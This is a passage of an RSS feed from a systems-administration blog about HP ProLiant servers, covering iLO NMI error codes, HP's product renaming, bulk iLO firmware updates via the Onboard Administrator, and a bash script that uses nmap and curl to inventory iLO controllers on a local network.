		<description><![CDATA[If you are using the HP health drivers for ProLiant servers (or at least the hp-wdt driver), any system hangs or panics caused by NMI&#8217;s (non-maskable interrupts) will be logged to the IML (Integrated Management Log) and can be viewed using iLO.  The IML log is on the System Status page of the iLO [...]]]></description>
			<content:encoded><![CDATA[<p>If you are using the HP health drivers for ProLiant servers (or at least the hp-wdt driver), any system hangs or panics caused by NMI&#8217;s (non-maskable interrupts) will be logged to the IML (Integrated Management Log) and can be viewed using iLO.  The IML log is on the System Status page of the iLO web interface.</p>
<p>This is great, but the error messages logged are not very user friendly.  NMI&#8217;s will be logged as Unrecoverable System Errors something like this:<br />
<span id="more-81"></span></p>
<blockquote><p>An Unrecoverable System Error has occurred (Error code 0&#215;0000002D, 0&#215;00000000</p></blockquote>
<p>The first 32-bit error code can be decoded using this table (which came from the man page for the hp-wdt driver):</p>
<blockquote><p>00h (0&#215;00000000) No source found<br />
01h (0&#215;00000001) Uncorrectable Memory Error<br />
1Bh (0&#215;0000001B) ASR NMI<br />
20h (0&#215;00000020) PCI Parity Error<br />
27h (0&#215;00000027) NMI Button Press<br />
28h (0&#215;00000028) SB_BUS_NMI<br />
29h (0&#215;00000029) ILO Doorbell NMI<br />
2Ah (0&#215;0000002A) ILO IOP NMI<br />
2Bh (0&#215;0000002B) ILO Watchdog NMI<br />
2Ch (0&#215;0000002C) Proc Throt NMI<br />
2Dh (0&#215;0000002D) Front Side Bus NMI<br />
2Fh (0&#215;0000002F) PCI Express Error<br />
30h (0&#215;00000030) DMA controller NMI<br />
31h (0&#215;00000031) Hypertransport/CSI Error</p></blockquote>
<p>Hopefully, this will help you narrow down the real cause of the NMI.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.nachotech.com/?feed=rss2&amp;p=81</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HP is rebranding iLO as the ProLiant Onboard Administrator</title>
		<link>http://blog.nachotech.com/?p=78</link>
		<comments>http://blog.nachotech.com/?p=78#comments</comments>
		<pubDate>Thu, 23 Apr 2009 05:28:20 +0000</pubDate>
		<dc:creator>iggy</dc:creator>
				<category><![CDATA[BladeSystem]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[blades]]></category>
		<category><![CDATA[HP BladeSystem]]></category>
		<category><![CDATA[iLO]]></category>

		<guid isPermaLink="false">http://blog.nachotech.com/?p=78</guid>
		<description><![CDATA[You may have noticed something different in HP&#8217;s latest ProLiant G6 server announcements.  Something called the HP ProLiant Onboard Administrator that doesn&#8217;t have anything to do with blades!  For example, this page from HP.COM: HP ProLiant Onboard Administrator

This is confusing, since most blade users know that the Onboard Administrator is the HP BladeSystem [...]]]></description>
			<content:encoded><![CDATA[<p>You may have noticed something different in HP&#8217;s latest ProLiant G6 server announcements.  Something called the <strong><em>HP ProLiant Onboard Administrator</em></strong> that doesn&#8217;t have anything to do with blades!  For example, this page from HP.COM: <a href="http://h18000.www1.hp.com/products/servers/management/iloadv2/index.html">HP ProLiant Onboard Administrator</a><br />
<span id="more-78"></span><br />
This is confusing, since most blade users know that the Onboard Administrator is the HP BladeSystem chassis management module (the &#8220;OA&#8221;).  To help distinguish the &#8220;old&#8221; OA from the &#8220;new&#8221; OA, HP is now calling the chassis management module the <strong><em>HP BladeSystem Onboard Administrator</em></strong>.  In addition, the ProLiant Onboard Administrator is now &#8220;powered by Integrated Lights-Out 2 (iLO 2)&#8221;.</p>
<p>I don&#8217;t like these new names, but I&#8217;ll try to be consistent with them as I update my blog.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.nachotech.com/?feed=rss2&amp;p=78</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Update iLO firmware en masse with BladeSystem Onboard Administrator (OA)</title>
		<link>http://blog.nachotech.com/?p=68</link>
		<comments>http://blog.nachotech.com/?p=68#comments</comments>
		<pubDate>Thu, 23 Apr 2009 05:17:16 +0000</pubDate>
		<dc:creator>iggy</dc:creator>
				<category><![CDATA[BladeSystem]]></category>
		<category><![CDATA[System Administration]]></category>
		<category><![CDATA[scripting]]></category>
		<category><![CDATA[Add new tag]]></category>
		<category><![CDATA[blades]]></category>
		<category><![CDATA[HP]]></category>
		<category><![CDATA[iLO]]></category>

		<guid isPermaLink="false">http://blog.nachotech.com/?p=68</guid>
		<description><![CDATA[This OA command I recently came across works like magic.  If you&#8217;ve ever done it manually, you know how time consuming it can be to update the iLO (Integrated Lights Out) firmware across multiple ProLiant servers.  However, with the BladeSystem Onboard Administrator, it can be accomplished in seconds using a single CLI command [...]]]></description>
			<content:encoded><![CDATA[<p>This OA command I recently came across works like magic.  If you&#8217;ve ever done it manually, you know how time consuming it can be to update the iLO (Integrated Lights Out) firmware across multiple ProLiant servers.  However, with the BladeSystem Onboard Administrator, it can be accomplished in seconds using a single CLI command to update the iLO firmware on all the server blades within a c-7000 or c-3000 enclosure.  There&#8217;s more info after the jump&#8230;  <span id="more-68"></span></p>
<p>To start with, here&#8217;s the command syntax and help message from the OA:</p>
<blockquote><p>
<code>UPDATE ILO {ALL | &LT;bay number&GT;[{ , | - } &LT;bay number&GT;]} &LT;url&GT;</code><br />
Administrator account privileges are required with given bay access. &#8220;ILO&#8221; downloads a new flash image from the network and uses it to update the iLO&#8217;s firmware. Supported protocols are http, https, tftp and ftp. The url should be formatted as: protocol://host/path/filename. If your FTP server does not support anonymous logins, a username and password can be specified within the url formatted as: ftp://username:password@host/path/filename.</p></blockquote>
<p>So the requirements are:</p>
<ul>
<li>Obviously, you have to be an Administrator of the blade chassis in order to execute this command.</li>
<li>You must place the iLO firmware image (*.bin file) on a networked HTTP, HTTPS, TFTP or FTP server that is accessible from the OA/iLO&#8217;s.</li>
</ul>
<p><P><strong>AN EXAMPLE</strong><br />
Once you&#8217;ve fulfilled the requirements, all that&#8217;s left to do is issue the command.  In my case, I downloaded from hp.com and placed the iLO-2 v1.75 firmware file on my mgmt-master.nachotech.com server.  Next, I ran the update command &#8212; here&#8217;s how it proceeded on my enclosure:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">nachotech&gt; UPDATE ILO ALL ftp://mgmt-master.nachotech.com/pub/ilo2_175.bin
&nbsp;
Bay 2: Request is valid only for ProLiant SERVER blades.
Bay 15: The blade is not present.
Bay 16: The blade is not present.
&nbsp;
Updating ProLiant iLO ...
(This may take up to a minute)
&nbsp;
Bay 1: An error occurred while executing the script on iLO. Please review the RIBCL results.
Bay 3: Success
Bay 4: Success
Bay 5: Success
Bay 6: Success
Bay 7: Success
Bay 8: Success
Bay 9: Success
Bay 10: Success
Bay 11: Success
Bay 12: Success
Bay 13: Success
Bay 14: Success
&nbsp;
Please allow iLO one minute to restart after a successful update
&nbsp;
nachotech&gt;</pre></div></div>

<p>At the beginning, notice the error-checking phase of the update process.  I specified to update the iLO on ALL blades, but some blades don&#8217;t have iLO&#8217;s.  Namely, the SB-40c storage blade that&#8217;s in bay 2.  It is not a server blade, so it doesn&#8217;t have an iLO to update.  No problem here, the command will just skip that bay and continue with the others.  It also skips bays that are empty.</p>
<p>The command returned &#8220;Success&#8221; on all server blades except one, and has a cryptic error about &#8220;RIBCL results.&#8221;  I&#8217;m not sure what that means, but the iLO-2 was updated successfully, so it&#8217;s a harmless glitch.  I&#8217;m really happy I found this command &#8212; it is soooo much better than doing the updates manually.<br />
<P><br />
<strong>VERIFYING THE FIRMWARE UPDATES</strong><br />
After you perform this command, you&#8217;ll want to wait a few minutes to allow the iLO&#8217;s to update themselves and then restart with the new firmware.  The best place to check if the firmware has been updated is with the Onboard Administrator&#8217;s web interface.  Here&#8217;s where to click:</p>
<p><img src="http://blog.nachotech.com/images/OA-GUI-firmware.png" alt="OA GUI Firmware Link" /><br />
Then check the <em>iLO Firmware Version</em> column to see if it&#8217;s been updated to what you wanted:<br />
<img src="http://blog.nachotech.com/images/OA-firmware-example.png" alt="OA firmware table" /><br />
<strong>IN SUMMARY</strong><br />
There are other methods to script on-line updates of iLO firmware, but those methods require specific operating system support, iLO drivers, etc.  This method with the OA doesn&#8217;t care what operating system or drivers you have installed on the server blades.  In fact, the blades can be powered off and it will still work.  Please leave a comment if you have better methods of updating iLO firmware.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.nachotech.com/?feed=rss2&amp;p=68</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>How to find all the iLO&#8217;s on your network</title>
		<link>http://blog.nachotech.com/?p=63</link>
		<comments>http://blog.nachotech.com/?p=63#comments</comments>
		<pubDate>Tue, 17 Mar 2009 06:56:06 +0000</pubDate>
		<dc:creator>iggy</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[System Administration]]></category>
		<category><![CDATA[scripting]]></category>
		<category><![CDATA[blades]]></category>
		<category><![CDATA[BladeSystem]]></category>
		<category><![CDATA[iLO]]></category>
		<category><![CDATA[script]]></category>

		<guid isPermaLink="false">http://blog.nachotech.com/?p=63</guid>
		<description><![CDATA[
Have you ever forgotten an IP address for an iLO on your network?  Do you ever wonder &#8220;What&#8217;s my iLO IP Address?&#8221; Maybe you&#8217;re using DHCP, and you&#8217;ve added a new server to your network, but you don&#8217;t know the IP address of its iLO (and you&#8217;re not using dynamic dns &#8211; so the [...]]]></description>
			<content:encoded><![CDATA[<p><img src="images/terminal.jpg" alt="" /><br />
Have you ever forgotten an IP address for an iLO on your network?  Do you ever wonder &#8220;What&#8217;s my iLO IP Address?&#8221; Maybe you&#8217;re using DHCP, and you&#8217;ve added a new server to your network, but you don&#8217;t know the IP address of its iLO (and you&#8217;re not using dynamic dns &#8211; so the iLO &#8216;toe-tag&#8217; name can&#8217;t be used as an alias).</p>
<p>Here is a handy script I wrote to search a local network (using nmap) to find all the iLO&#8217;s (HP Integrated Lights-Out adapters).  It gives you a list of all the iLO&#8217;s found, including their firmware version and server hardware type.  It&#8217;s a good tool to use when a new iLO firmware version comes out and you need to know which servers need to be updated.<span id="more-63"></span>This script is written for Linux, but it could be easily modified for other operating systems, as long as the requisite tools are available.</p>
<p>The script works to find all versions of iLO (version 1 and 2), but obviously the iLO&#8217;s must be connected to the Ethernet network.  Also, this script relies on having Virtual Media enabled at the default tcp port number of 17988 &#8212; if this has been changed by the server administrator, then you can modify the script to find iLO&#8217;s using the other port number.</p>
<p><strong>Prerequisites</strong></p>
<p>As I mentioned before, you first need Linux to use this script.  Then you&#8217;ll need tr, sed, expr, curl and nmap.  The odd balls are curl and nmap &#8211; these may not be installed on your system by default.</p>
<p><strong>findilos Script Source Code</strong>  (download here: <a href="http://blog.nachotech.com/files/findilos.tar">findilos.tar</a>)</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">#!/bin/bash
#
# findilos - Search a local network segment for iLOs
#            The iLO is the Integrated Lights-Out management processor
#            used on HP ProLiant and BladeSystem servers
#
scriptversion=&quot;1.0&quot;
#
# Author: iggy@nachotech.com
#
# Website: http://blog.nachotech.com
#
# Requires: tr sed expr curl nmap
#
# Tested with: Nmap 4.20, curl 7.17.1, RHEL4
#
# Note: Discovery of an iLO is dependent upon the Virtual Media port
#       being set to the default of 17988.  If this has been changed
#       by the iLO administrator, then this script will NOT find it.
#
#       Also, if the iLO XML Reply Data Return has been Disabled by
#       the iLO administrator, this script will not be able to
#       gather any information about the server.  It will still be
#       discovered, but all you will see is its IP address.
#
&nbsp;
# GLOBAL VARIABLES
&nbsp;
scriptname=&quot;findilos&quot;
iloips=&quot;/tmp/tmpilos.$$&quot;
iloxml=&quot;/tmp/tmpiloxml.$$&quot;
ilohwvers=&quot;/tmp/tmpilohwvers.$$&quot;
&nbsp;
declare -i ilosfound=0
&nbsp;
# FUNCTIONS
&nbsp;
function parseiloxml {
  fgrep &quot;$1&quot; $iloxml &gt; /dev/null 2&gt;&amp;1
  if [ $? -ne 0 ]
  then
    # tag not found in xml output, return empty string
    parsedstring=&quot;N/A&quot;
  else
    # tag was found - now we parse it from the output
    tempstring=$( cat $iloxml | tr -d -c [:print:] | sed &quot;s/^.*&lt;$1&gt;//&quot; | sed &quot;s/&lt;.$1.*//&quot;)
    # trim off leading and trailing whitespace
    parsedstring=`expr match &quot;$tempstring&quot; '[ \t]*\(.*[^ \t]\)[ \t]*$'`
  fi
}
&nbsp;
function is_installed {
  which $1 &gt; /dev/null 2&gt;&amp;1
  if [ $? -ne 0 ]
  then
    printf &quot;\nERROR: %s not installed.\n\n&quot; $1
    exit 255
  fi
}
&nbsp;
# MAIN
&nbsp;
# check for tools that we depend upon
&nbsp;
is_installed tr
is_installed sed
is_installed expr
is_installed curl
is_installed nmap
&nbsp;
# check syntax - should have 1 and only 1 parameter on cmdline
&nbsp;
if [ $# -ne 1 ]; then
  printf &quot;%s %s ( http://blog.nachotech.com/ )\n&quot; $scriptname $scriptversion
  printf &quot;Usage: %s {target network specification}\n&quot; $scriptname
  printf &quot;TARGET NETWORK SPECIFICATION:\n&quot;
  printf &quot;  Can pass hostnames, IP addresses, networks, etc.\n&quot;
  printf &quot;  Ex: server1.company.com, company.com/24, 192.168.0.1/16, 10.0.0-255.1-254\n&quot;
  printf &quot;EXAMPLE:\n&quot;
  printf &quot;  %s 16.32.64.0/22\n&quot; $scriptname
  exit 255
fi
&nbsp;
iprange=$1
&nbsp;
# prepare lookup file for iLO hardware versions
&nbsp;
cat &gt; $ilohwvers &lt;&lt; EOF
iLO-1 shows hw version ASIC:  2
iLO-2 shows hw version ASIC:  7
i-iLO shows hw version T0
EOF
&nbsp;
#
# scan a range of IP addresses looking for an
# open tcp port 17988 (the iLO virtual media port)
#
&nbsp;
printf &quot;Scanning...&quot;
&nbsp;
nmap -n -P0 -sS -p 17988 -oG - $iprange | fgrep /open/ | awk '{print $2}' &gt; $iloips
&nbsp;
printf &quot;\n\n&quot;
&nbsp;
#
# open and read the list of IP addresses one at a time
#
&nbsp;
exec 3&lt; $iloips
&nbsp;
echo &quot;--------------- ------ -------- ------------ -------------------------&quot;
echo &quot;iLO IP Address  iLO HW iLO FW   Server S/N   Server Model&quot;
echo &quot;--------------- ------ -------- ------------ -------------------------&quot;
&nbsp;
while read iloip &lt;&amp;3 ; do
  ilosfound=$ilosfound+1
  #
  # attempt to read the xmldata from iLO, no password required
  #
  curl --proxy &quot;&quot; --fail --silent --max-time 3 http://$iloip/xmldata?item=All &gt; $iloxml
&nbsp;
  #
  # parse out the Server model (server product name)
  # from the XML output
  #
&nbsp;
  parseiloxml SPN;  servermodel=$parsedstring
  parseiloxml SBSN; sernum=$parsedstring
  parseiloxml PN;   ilotype=$parsedstring
  parseiloxml FWRI; ilofirmware=$parsedstring
  parseiloxml HWRI; ilohardware=$parsedstring
&nbsp;
  ilohwver=$(grep &quot;$ilohardware&quot; $ilohwvers|awk '{print $1}')
  if [ &quot;$ilohwver&quot; == &quot;&quot; ]; then
    ilohwver=&quot;N/A&quot;
  fi
&nbsp;
  if [ &quot;$sernum&quot; == &quot;&quot; ]; then
    sernum=&quot;N/A&quot;
  fi
&nbsp;
  printf &quot;%-15s %-6s %-8s %-12s %s\n&quot; $iloip &quot;$ilohwver&quot; &quot;$ilofirmware&quot; &quot;$sernum&quot; &quot;$servermodel&quot;
&nbsp;
done
&nbsp;
printf &quot;\n%d iLOs found on network target %s.\n\n&quot; $ilosfound $iprange
&nbsp;
rm -f $iloips $iloxml $ilohwvers
&nbsp;
exit 0</pre></div></div>

<p><strong>Running the findilos script</strong></p>
<p>Here&#8217;s the easy part &#8211; running the script.  The only command line parameter used is a specification of the network that you want to search.  Use the same network specification format used by nmap &#8212; the script is just passing it through to nmap:</p>
<p><em>Example: running findilos on a local network</em></p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;"># findilos 10.10.11.0/24
Scanning...
&nbsp;
--------------- ------ -------- ------------ -------------------------
iLO IP Address  iLO HW iLO FW   Server S/N   Server Model
--------------- ------ -------- ------------ -------------------------
10.10.11.1      iLO-2  1.29     UTR21402MP   ProLiant BL460c G1
10.10.11.6      iLO-2  1.70     2UY24106BX   ProLiant BL460c G1
10.10.11.8      iLO-2  1.70     2UY24106BT   ProLiant BL460c G1
10.10.11.9      iLO-2  1.70     2UY25201R5   ProLiant BL460c G1
10.10.11.13     iLO-2  1.60     2UY24106BJ   ProLiant BL460c G1
10.10.11.15     iLO-2  1.70     2UY25201RE   ProLiant BL460c G1
10.10.11.27     iLO-2  1.70     T01BPT917B   ProLiant BL460c G1
&nbsp;
7 iLOs found on network target 10.10.11.0/24.</pre></div></div>

<p>I am looking for feedback on the script. Please let me know if it works for you or if you have any suggestions on how to make it better.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.nachotech.com/?feed=rss2&amp;p=63</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
	</channel>
</rss>
